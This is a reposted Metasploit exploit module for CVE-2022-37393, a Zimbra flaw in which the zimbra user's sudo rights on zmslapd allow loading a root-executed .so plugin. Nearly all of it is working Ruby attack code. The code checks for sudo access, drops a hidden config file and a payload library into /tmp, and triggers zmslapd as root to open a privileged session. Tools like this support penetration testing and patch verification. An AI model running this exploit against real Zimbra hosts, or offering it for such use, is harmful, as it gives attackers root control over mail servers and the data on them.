Authored by Ron Bowes, Darren Martyn | Site metasploit.com

This Metasploit module exploits CVE-2022-37393, which is a vulnerability in Zimbra’s sudo configuration that permits the zimbra user to execute the zmslapd binary as root with arbitrary parameters. As part of its intended functionality, zmslapd can load a user-defined configuration file, which includes plugins in the form of .so files, which also execute as root.

advisories | CVE-2022-37393

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zimbra zmslapd arbitrary module load',
'Description' => %q{
This module exploits CVE-2022-37393, which is a vulnerability in
Zimbra's sudo configuration that permits the zimbra user to execute
the zmslapd binary as root with arbitrary parameters. As part of its
intended functionality, zmslapd can load a user-defined configuration
file, which includes plugins in the form of .so files, which also
execute as root.
},
'License' => MSF_LICENSE,
'Author' => [
'Darren Martyn', # discovery and poc
'Ron Bowes', # Module
],
'DisclosureDate' => '2021-10-27',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2022-37393' ],
[ 'URL', 'https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/' ],
],
'Targets' => [
[ 'Auto', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options [
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

# Because this isn't patched, I can't say with 100% certainty that this will
# detect a future patch (it depends on how they patch it)
def check
# Sanity check
if is_root?
fail_with(Failure::None, 'Session already has root privileges')
end

unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
return CheckCode::Safe
end

unless command_exists?(datastore['SUDO_PATH'])
print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
return CheckCode::Safe
end

# Run `sudo -n -l` to make sure we have access to the target command
cmd = "#{datastore['SUDO_PATH']} -n -l"
print_status "Executing: #{cmd}"
output = cmd_exec(cmd).to_s

if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
print_error('Current user could not execute sudo -l')
return CheckCode::Safe
end

if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
print_error('Current user does not have access to run zmslapd')
return CheckCode::Safe
end

CheckCode::Appears
end

def exploit
base_dir = datastore['WritableDir'].to_s
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end

# Generate a random directory
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
if file_exist?(exploit_dir)
fail_with(Failure::BadConfig, 'Exploit dir already exists')
end

# Create the directory and get ready to remove it
print_status("Creating exploit directory: #{exploit_dir}")
mkdir(exploit_dir)
register_dir_for_cleanup(exploit_dir)

# Generate some filenames
library_name = ".#{rand_text_alphanumeric(5..10)}.so"
library_path = "#{exploit_dir}/#{library_name}"
config_name = ".#{rand_text_alphanumeric(5..10)}"
config_path = "#{exploit_dir}/#{config_name}"

# Create the .conf file
config = "modulepath #{exploit_dir}nmoduleload #{library_name}n"
write_file(config_path, config)

write_file(library_path, generate_payload_dll)

cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"
print_status "Attempting to trigger payload: #{cmd}"
out = cmd_exec(cmd)

unless session_created?
print_error("Failed to create session! Cmd output = #{out}")
end
end
end